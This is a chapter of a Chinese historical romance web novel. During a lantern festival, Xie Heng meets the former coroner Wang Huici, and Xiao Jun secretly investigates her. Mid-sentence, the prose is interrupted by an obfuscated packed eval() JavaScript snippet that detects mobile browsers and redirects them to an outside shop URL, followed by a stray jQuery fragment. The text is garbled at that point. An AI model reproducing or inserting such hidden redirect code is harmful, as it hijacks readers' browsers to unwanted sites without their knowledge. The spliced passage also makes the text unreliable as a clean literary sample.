朱雀门内,帝后设宴于太极殿,殿内灯明如昼,舞伶衣袂飘飘,丝竹不绝于耳,热闹非凡。长公主与昌王两家陪坐于上首,欣赏太常寺与教坊司精心排演的歌舞百戏。
“今年的上元灯会,托陛下的福,可谓空前盛大。”昌王开怀笑着,向帝后二人敬酒,“听说今日陛下敕造的灯楼点燃,灼灼之晖甚至照亮了明德门,朱雀大街万盏金灯也不能掩其光芒。长安百姓无不欢喜雀跃,此刻正在踏歌而舞,歌颂陛下功德。”
皇帝宸衷欣慰,“上元佳节,与民同乐,我泱泱大梁,灯月交辉,自当彰显盛世之气象。”
长公主也道:“坊间有言上元三日,金吾不禁夜,玉漏莫相催。百姓们如此安居乐业,无不感念陛下圣明烛照英明神武,乃天下之福祉。”
皇帝哈哈大笑,将杯中酒一饮而尽,“好啦,都是自家兄妹,何须如此见外。荥阳,我听说今年,驸马特意为你准备了个惊喜。”
长公主侧头看向萧孟清,只见萧驸马拍拍手,事先准备妥当的灯婢当即抬上一展半人多高的花灯。
此灯以铁柄为杖,外部由琉璃制成,共十六面,灯婢缓缓摇动上面的机关,里面丝质的内罩开始转动,最妙的是每一面都由萧孟清亲自执笔,精细描绘出荥阳公主年轻的模样。
“驸马真是有心了。你二人青梅竹马,感情甚笃,真是令天下人羡慕。”皇后不由盛赞,满朝文武的目光都被这盏精致的琉璃灯所吸引。萧钧更是好奇,他新奇地看着少女时期的母亲,那是他从未见过的新鲜模样。
“作怪!”长公主惊喜交加,眉开眼笑,嘴上却嗔怪萧孟清,“怕是他嫌我年老色衰,不得不回忆一下年轻时的样子。”
萧钧盯着花灯,突然又去看身边的大哥萧铭,偷偷偏过头低声道:“大哥,你要是个姑娘,会不会就是这副模样?”
萧铭掀起眼皮,“你想挨揍?”
萧钧讨了个没趣,正要吐槽大哥古板,就感觉身后的衣服被人拽了拽。萧钧回头就看见纪泽一副着急样,只得无奈起身,二人到走廊后说话。
“我打听到了,但是得请你帮忙。”纪泽望着黑夜中万颗星火,却没有自己心仪的那一盏。“她家住通化坊,但我不知道具体的地址,眼下不好动京兆府的人,你能不能帮我查一查。”
萧钧听得一脑门子包,你不动京兆尹,让我动绣衣使吗?
“你还正常吗?”萧钧实在有些无语,“你现在去找她做什么?你知不知道人家已经因为你被大理寺扫地出门了,还去京兆府当仵作,谁咽的下这口气?”
纪泽长长一叹,“我本来想如果能调来最好,就算调不来,大理寺也不会拿她怎样,谁知道谢珩如此决绝。今日是上元节……”
“你还知道是上元节啊!”萧钧忍无可忍,“你知不知道现在外面人潮汹涌车水马龙,而且今日女子都去夜游,她未必就在通化坊,那里离西市不远,指不定人家就出去赏灯了。”
纪泽哦了一声,“你答应帮忙就成,不拘今天,我先走了。”
萧钧见纪泽一摇一晃,看来酒没少喝,便问他哪儿去。
“通化坊。我先去看看。”
萧钧彻底服了,叫住一个内侍命其向萧铭传话,自己则提溜着喝晕的纪泽往外走。
上了马车,萧钧问道:“你有那姑娘的画像吗?”
纪泽从袖笼里掏出一张叠好的纸递给萧钧,随后头一歪便睡了过去。
“这……”萧钧的随从愣住,“少爷,咱要不把纪少尹送回去?”
“不。”萧钧折起画像,压下内心波澜,面色凝重道:“去通化坊,先不要吵醒他,也不要和任何人提起。传令给秦冲,让他带一队人,着常服,到通化坊等我。”
……
其实谢珩吼完王惠慈的当天就有些后悔。王惠慈虽胆大妄为,但大节无亏,加之她说自己有隐情,或许真的当初是走投无路,后来又热心助人呢?
这几天他在气头上,硬逼着自己不去过问,强行收回自己对她关注的目光。
结果好啊,就没见过这么利索的人,说走当天就走,鱼符和牙牌一交,原地消失。
真是想想就生气!
谢珩无比烦闷坐在马车里,不得不推开车窗,透一口气。
还有那个钱钦明!硬是等了几日,才拿着王惠慈留给他的验尸纪要在自己跟前晃荡,还大言不惭说大理寺错失良才,这等经验丰富又不吝传授的仵作哪里去找?
真真儿让人饭都吃不下去。
马车停在朱雀大街旁边,外面十分喧闹,欢声笑语通过窗户缝溜进谢珩的耳朵,让他更烦躁了。谢珩狠狠关上窗户,这下可好,闷闷的舞乐声从四面八方透过马车壁向他袭来。
直至今日谢珩心里依然不满,他生气的不是王惠慈过去做了什么,而是王惠慈一直对他隐瞒了不少。
她到底有没有把自己放在心上?
真是不能深想,谢珩复又推开车窗,顿时双眼一亮,看着谢诚穿过人流,急匆匆地跑了过来。
“大人,”谢诚凑到窗户边,“打听到她们二人去朱雀门看灯了,不过王姑娘这几天身体有恙,应该不会耽搁太久,咱们在这里,一定能等到她们。”
总算有件顺利的事,谢珩点点头,刚要继续问,感觉一个熟悉的身影闪了过去。
谢珩心一紧,立刻打开窗户向外看,很快捕捉到两个女子的身影。
“是她们吗?”
“啊?”谢诚有点懵,四下望去,全是人脸,却没有一个认识的。
谢珩伸手去指,“坊门那,背对我们的。”
谢诚一拍脑门,认出了拂春,旁边那个必定就是王姑娘了。谢诚一路小跑赶上了她们,请她们到马车旁一叙。
王惠慈单手提着灯,摘下兜帽,微微屈身,“见过谢少卿。”
谢珩从车上下来,打量王惠慈。她今天梳了之前从未梳过的回鹘髻,银簪却是之前常见的。身上也好似是新裁石青披袄,领口紧紧裹着她修长白皙的脖颈,里面隐约是松花绿襦裙,一如既往的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699080|208069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
清冷,却分外鲜亮。
“你……听说你身子不太舒服?”谢珩见到王惠慈,一时却不知如何开口。
没见到时,翻来覆去地念,真见到了,谢珩却觉得千言万语不知从何说起。
“大人是出来看灯的吧。”王惠慈稳稳开口,“恭祝谢少卿上元安康。”
“二位姑娘同安。”谢珩罕见回礼,踌躇许久,还是询问道:
“不知王姑娘,可愿回到大理寺?”
王惠慈淡淡一笑,眼皮都没有掀起,“多谢谢少卿抬爱,王惠慈自知学艺不精,现下已另谋生计,得麻烦谢少卿另请高明了。”
“另谋生计?”谢珩略捏了捏手,压下心绪问道:“你不会真的去京兆府了吧?”
“并没有。”王惠慈摇了摇头,“还请大人体谅,我身体不适,今日确实劳累了,先行告退。”
说罢王惠慈再次行礼,没有理会谢珩的挽留,抓起拂春便往回冲。
谢珩欲提步去追,被谢平拦住。
“大人三思,今日人多眼杂,现下您也见到了王姑娘,我观王姑娘似乎确有不适,不如我们先回去再从长计议。”
王惠慈的身影已从坊门处消失,也不好现在再去敲人家的门。或许是她还在生气?
好像也应该生气,谢珩这次实实在在体会到,自己和王惠慈确实身份上差距太大了,大到自己只是发了个脾气,就把王惠慈的生活搅得天翻地覆。
这种情形下,人家又谈何对自己敞开心扉呢?
谢珩召过来谢诚,“她究竟怎么了?还有什么另谋生计,怎么回事?”
谢诚谨慎回答:“应该并无大碍,听说前几日感染了风寒,您知道王姑娘懂医术,就直接在明世堂抓了药,现下应该好得差不多了。至于另谋生计,似乎也和明世堂有关。”
谢珩微微松了口气,又望向坊门处,可再无熟悉的身影,只好先登车回府。
甫一坐下,谢珩看到自己准备好的长方漆盒,这次见面短暂到都没来得及将它拿出来。谢珩叹了口气,又吩咐谢诚找人盯住明世堂,王惠慈的下一步打算务必打听清楚。
谢诚应下,和谢平一起,驾着马车往国公府方向赶去。
“萧副使,您看……”
秦冲扭头看向萧钧,他不是很确定,刚刚那位女子,是否就是萧钧让他找的人。
而且还和谢珩打招呼!
萧钧一脸不豫,心神颇乱。
刚刚在宫宴上看到母亲年轻时的画像,好巧不巧现在画中的人居然活生生站在面前,她居然真就是大理寺那个女仵作。
纪泽追着她跑不说,看来谢珩也后悔了,竟然也要拉拉扯扯的!
虽然对不住父母,但萧钧第一次希望,这次让家人空欢喜一场。
“先不要告诉府里的人,你派人暗查这个姑娘的身份来历,另外也派人盯住她,但不能打草惊蛇。”
萧钧目送谢珩的马车渐行渐远,补充吩咐,“不仅不要惊动她,也不能惊动纪泽和谢珩。”